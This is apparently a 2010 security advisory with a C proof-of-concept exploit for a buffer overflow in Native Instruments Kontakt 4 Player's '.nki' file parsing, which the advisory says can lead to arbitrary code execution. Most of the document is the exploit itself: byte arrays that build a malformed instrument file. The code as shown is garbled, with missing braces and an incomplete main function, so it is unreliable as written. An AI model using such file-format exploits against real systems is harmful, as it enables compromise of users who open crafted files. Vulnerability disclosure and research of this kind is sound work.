Native Instruments Kontakt 4 Player - '.NKI' File Syntactic Analysis Buffer Overflow (PoC)














 Title: Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC

 Vendor: Native Instruments GmbH
 Product web page:
 Affected version: (Standalone)

 Summary: KONTAKT 4 PLAYER is the free sample player based on award-winning KONTAKT
 technology. Expanding the capabilities of its successful predecessor, the free
 KONTAKT 4 PLAYER allows for innovative, highly playable instruments leaving technological
 and musical limitations behind.

 Desc: Kontakt Player 4 suffers from a buffer overflow vulnerability when parsing ".nki"
 files. The application fails in boundry checking of the user input resulting in a crash.
 The attacker can leverage from this scenario to exectute arbitrary code on the affected
 system. Failed attempts will result in denial of service.

 Tested on: Microsoft Windows XP Professional SP3 (English)

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab -

 Advisory ID: ZSL-2010-4979
 Advisory URL:



#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

#define FN "Vaya_con_Dios.nki"
#define PSIZE 102556
void banner(void);

FILE *fp;

void banner()
	printf("Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow\n\n");
	printf("\tCopyleft (c) 2010. Zero Science Lab\n\n");

char starter[] = {
	0x12, 0x90, 0xA8, 0x7F, 0x6C, 0x08, 0x00, 0x00, 0x00, 0x01, 0x72, 0x2A, 0x01, 0x3E, 0x01, 0x00, 
	0xFF, 0x03, 0x01, 0x04, 0x34, 0x6E, 0x6F, 0x4B, 0xF2, 0x71, 0xE3, 0x4C, 0x3A, 0x00, 0x00, 0x00, 
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	0xF2, 0x5E, 0x03, 0x5A, 0x9D };

char body[] = {
	0x56, 0x74, 0xDA, 0x76, 0x50, 0x0F, 0x82, 0x17, 0x2B, 0xB3, 0x1A, ////////////////////////////
	0xA8, 0xC2, 0x19, 0xCE, 0x88, 0x91, 0x2A, 0x3A, 0x74, 0x86, 0x44, 0xCE, 0x16, 0x13, 0xF2, 0x40, 
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	0x53, 0x91, 0xC3, 0x25, 0xA4, 0xB3, 0x1D, 0x2B, 0xE8, 0xE3, 0x9A, 0x5B, 0x2A, 0x4F, 0xAD, 0x70, 
	0x67, 0x27, 0xB6, 0x47, 0xDD, 0x5E, 0x92, 0xDB, 0x40, 0x1A, 0x73, 0xB2, 0x19, 0x0B, 0x79, 0x3D, 
	0x9F, 0x4B, 0xAA, 0xEC, 0x1A, 0x14, 0xDA, 0x1B, 0x58, 0xC0, 0x8E, 0x84, 0xC8, 0x82, 0x83, 0x65, 
	0xED, 0x3A, 0x51, 0xD0, 0x4F, 0x40, 0x28, 0x92, 0xBA, 0x83, 0x2A, 0x12, 0x7B, 0xDA, 0x86, 0x12, 
	0x5E, 0xF9, 0xC2, 0x60, 0xD3, 0x27, 0xC1, 0x3B, 0x5D, 0xBD, 0xC7, 0xD0, 0xCC, 0xA3, 0x64, 0x85, 
	0x55, 0x27, 0xCE, 0x6F, 0x20, 0x32, 0xA3, 0x96, 0x0C, 0x5E, 0x85, 0xCB, 0xE9, 0x82, 0xA8, 0xE0, 
	0x75, 0x87, 0xCC, 0xE0, 0x0A, 0x22, 0x1A, 0x30, 0x6E, 0x17, 0x8A, 0xEE, 0x95, 0x11, 0x5A, 0xDE, 
	0xA8, 0x6C, 0xA9, 0x4F, 0x9C, 0x75, 0x6A, 0x4D, 0x1E, 0xD9, 0x52, 0x00, 0x53, 0xA5, 0x88, 0x4D, 
	0x85, 0x8F, 0x5C, 0x0E, 0x53, 0x6C, 0xDA, 0x17, 0x1C, 0xB8, 0x28, 0x2F, 0x9C, 0xA1, 0x23, 0x50, 
	0x7D, 0xB2, 0x2A, 0x7B, 0xAB, 0x94, 0xAF, 0x2E, 0xE0, 0x6E, 0x09, 0xDC, 0x44, 0x2B, 0xBC, 0xBC, 
	0xAB, 0x9E, 0x0C, 0xD6, 0x92, 0x1B, 0xF4, 0x08, 0x20, 0xAD, 0x9C, 0xBA, 0xD2, 0xB7, 0x35, 0x83, 
	0x46, 0x92, 0x4A, 0xDB, 0x40, 0x3C, 0xED, 0x48, 0x2E, 0xF0, 0xC6, 0x43, 0xD3, 0xF0, 0x8C, 0x6C, 
	0xEE, 0x5C, 0x25, 0xB5, 0x5D, 0x83, 0x97, 0x2B, 0x21, 0xD4, 0x12, 0x36, 0xA3, 0x27, 0xE8, 0x5C, 
	0x53, 0x70, 0x31, 0x4E, 0x63, 0xB0, 0xFF, 0x79, 0x3A, 0xFB, 0xF0, 0xF1, 0x72, 0x72, 0x33, 0x9B, 
	0x5E, 0x8F, 0xBE, 0x5C, 0xF5, 0x9D, 0x4D, 0x0C, 0xDE, 0xAE, 0x1F, 0x55, 0x1A, 0x00, 0xB9, 0xEB, 
	0x27, 0xFB, 0xD6, 0x7E, 0x8F, 0x2E, 0xDA, 0xEE, 0x3E, 0x59, 0x4E, 0x95, 0xD7, 0x81, 0xD8, 0x0A, 
	0x53, 0x6C, 0x85, 0x9B, 0x47, 0x3F, 0xB5, 0x2F, 0x07, 0x97, 0x70, 0x15, 0x55, 0x6F, 0xA6, 0xDD, 
	0x0E, 0xF3, 0xA7, 0xEC, 0x6E, 0xDC, 0x3D, 0xAD, 0x93, 0x52, 0x19, 0xFD, 0x14, 0x9A, 0x65, 0x22, 
	0xA3, 0xF5, 0x2F, 0x19, 0xC8, 0x32, 0x91, 0xD8, 0xBF, 0xF0, 0x1B, 0x3D, 0x8D, 0xE1, 0x13, 0x75, 
	0xDF, 0x2B, 0xF2, 0x07, 0xBB, 0x0B, 0xF3, 0x6B, 0x74, 0xD8, 0xE9, 0xB4, 0xCE, 0xE1, 0xEF, 0xEC, 
	0xB4, 0xD3, 0xED, 0x9C, 0xB5, 0x4E, 0x3A, 0xAE, 0x39, 0x43, 0x87, 0x1F, 0x5C, 0xCE, 0x6C, 0x97, 
	0xDB, 0x16, 0x4C, 0x68, 0x4C, 0x4C, 0x34, 0x39, 0x89, 0xBC, 0x6B, 0xDD, 0x25, 0x5C, 0x87, 0x87, 
	0xA6, 0xD6, 0x0D, 0x1D, 0x3D, 0xDC, 0xF1, 0x27, 0xD7, 0xF7, 0x87, 0x1A, 0xE0, 0x99, 0x62, 0x0A, 
	0xCD, 0x1D, 0x08, 0x1C, 0x23, 0xF8, 0x69, 0x00, 0x06, 0x04, 0x0D, 0x6B, 0xFC, 0xAC, 0xD1, 0x0D, 
	0x1A, 0x82, 0xF6, 0x21, 0x7C, 0xF1, 0x1D, 0xAC, 0xBF, 0xDE, 0x72, 0xB8, 0xEA, 0x93, 0x71, 0x22, 
	0xA3, 0xD2, 0x3A, 0xDA, 0xFC, 0x30, 0x7F, 0x83, 0xED, 0x38, 0xEF, 0x9C, 0x46, 0x11, 0x6C, 0x47, 
	0x2B, 0x8A, 0xBA, 0x51, 0xCB, 0xED, 0x4F, 0xFF, 0xAB, 0xFE, 0xF7, 0x1D, 0xFC, 0xCD, 0x89, 0xC6, 
	0xB4, 0x54, 0xB4, 0x43, 0x55, 0xBA, 0x57, 0x85, 0x68, 0xCD, 0xE5, 0x6D, 0xBC, 0x1B, 0x94, 0xA0, 
	0x99, 0x4C, 0xF8, 0x14, 0xDB, 0xA6, 0x7A, 0x97, 0xBD, 0xC0, 0xB3, 0xDB, 0x69, 0xA5, 0x76, 0x49, 
	0x30, 0x0A, 0xFC, 0xF5, 0xC4, 0x2B, 0x7C, 0xD2, 0xF5, 0x0A, 0xC7, 0x27, 0xA7, 0xFD, 0x91, 0x1D, 
	0xA1, 0xCA, 0x1E, 0x6E, 0x29, 0x2A, 0x58, 0x1B, 0xF6, 0x73, 0xCB, 0xE7, 0xC6, 0x98, 0xEC, 0x46, 
	0xEC, 0x37, 0x18, 0x53, 0x56, 0xFE, 0x50, 0xC0, 0x55, 0x93, 0x1F, 0xBB, 0xA3, 0xC3, 0x56, 0x17, 
	0xFF, 0xC0, 0xB9, 0x8F, 0x4F, 0xCE, 0xDB, 0xF8, 0xE8, 0x2A, 0xFF, 0xBB, 0x07, 0xF3, 0x76, 0x7D, 
	0xA8, 0x37, 0x01, 0xC7, 0x51, 0x93, 0xB3, 0xF6, 0xEB, 0xC2, 0xF7, 0x0B, 0xCD, 0xA9, 0x54, 0xD2, 
	0x05, 0xF4, 0xCA, 0x9D, 0xA5, 0x19, 0xFC, 0xDA, 0xEA, 0xFF, 0x6F, 0x4F, 0xAE, 0x5F, 0x3B, 0x8A, 
	0x1A, 0x5F, 0xCC, 0xC6, 0xC3, 0xDB, 0xDE, 0xC7, 0x92, 0x6B, 0xC7, 0x9A, 0x8E, 0xFC, 0x58, 0x85, 
	0xA3, 0x65, 0x06, 0x81, 0x81, 0xAD, 0x7C, 0xC0, 0xD3, 0x0E, 0x6F, 0x6D, 0xF1, 0xDF, 0x23, 0xFD, 
	0x00, 0xB0, 0xFA, 0xEA, 0x00, 0x3F, 0xD7, 0x8F, 0x25, 0x04, 0x46, 0xF4, 0x2F, 0xE5, 0xDE, 0xFF, 
	0xF4, 0x0F, 0x39, 0xE0, 0x69, 0x7F, 0xAE, 0xE1, 0x0E, 0xB0, 0x01, 0x01, 0x0C, 0x00, 0xD9, 0x00, 
	0x00, 0x00 };

char tail[] = {
	0x3C, 0x3F, 0x78, 0x6D, 0x6C, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, //////////
	0x22, 0x31, 0x2E, 0x30, 0x22, 0x20, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x3D, 0x22, 
	0x55, 0x54, 0x46, 0x2D, 0x38, 0x22, 0x20, 0x73, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x6C, 0x6F, 0x6E, 
	0x65, 0x3D, 0x22, 0x6E, 0x6F, 0x22, 0x20, 0x3F, 0x3E, 0x0A, 0x3C, 0x73, 0x6F, 0x75, 0x6E, 0x64, 
	0x69, 0x6E, 0x66, 0x6F, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x22, 0x34, 0x30, 
	0x30, 0x22, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x70, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x69, 
	0x65, 0x73, 0x2F, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 
	0x74, 0x65, 0x73, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 
	0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x76, 0x61, 0x6C, 0x75, 
	0x65, 0x3E, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x72, 0x75, 0x6D, 
	0x65, 0x6E, 0x74, 0x3C, 0x2F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 
	0x3C, 0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x3C, 
	0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x3E, 0x0A, 0x0A, 0x3C, 0x2F, 
	0x73, 0x6F, 0x75, 0x6E, 0x64, 0x69, 0x6E, 0x66, 0x6F, 0x3E, 0x0A };

int main(int argc, char *argv[])


	char payload[PSIZE];
	char input[100000];



	fp = fopen(FN,"wb");

		perror ("Oops! Can't open file.\n");




	printf("File %s created!\n", FN);

	return 0;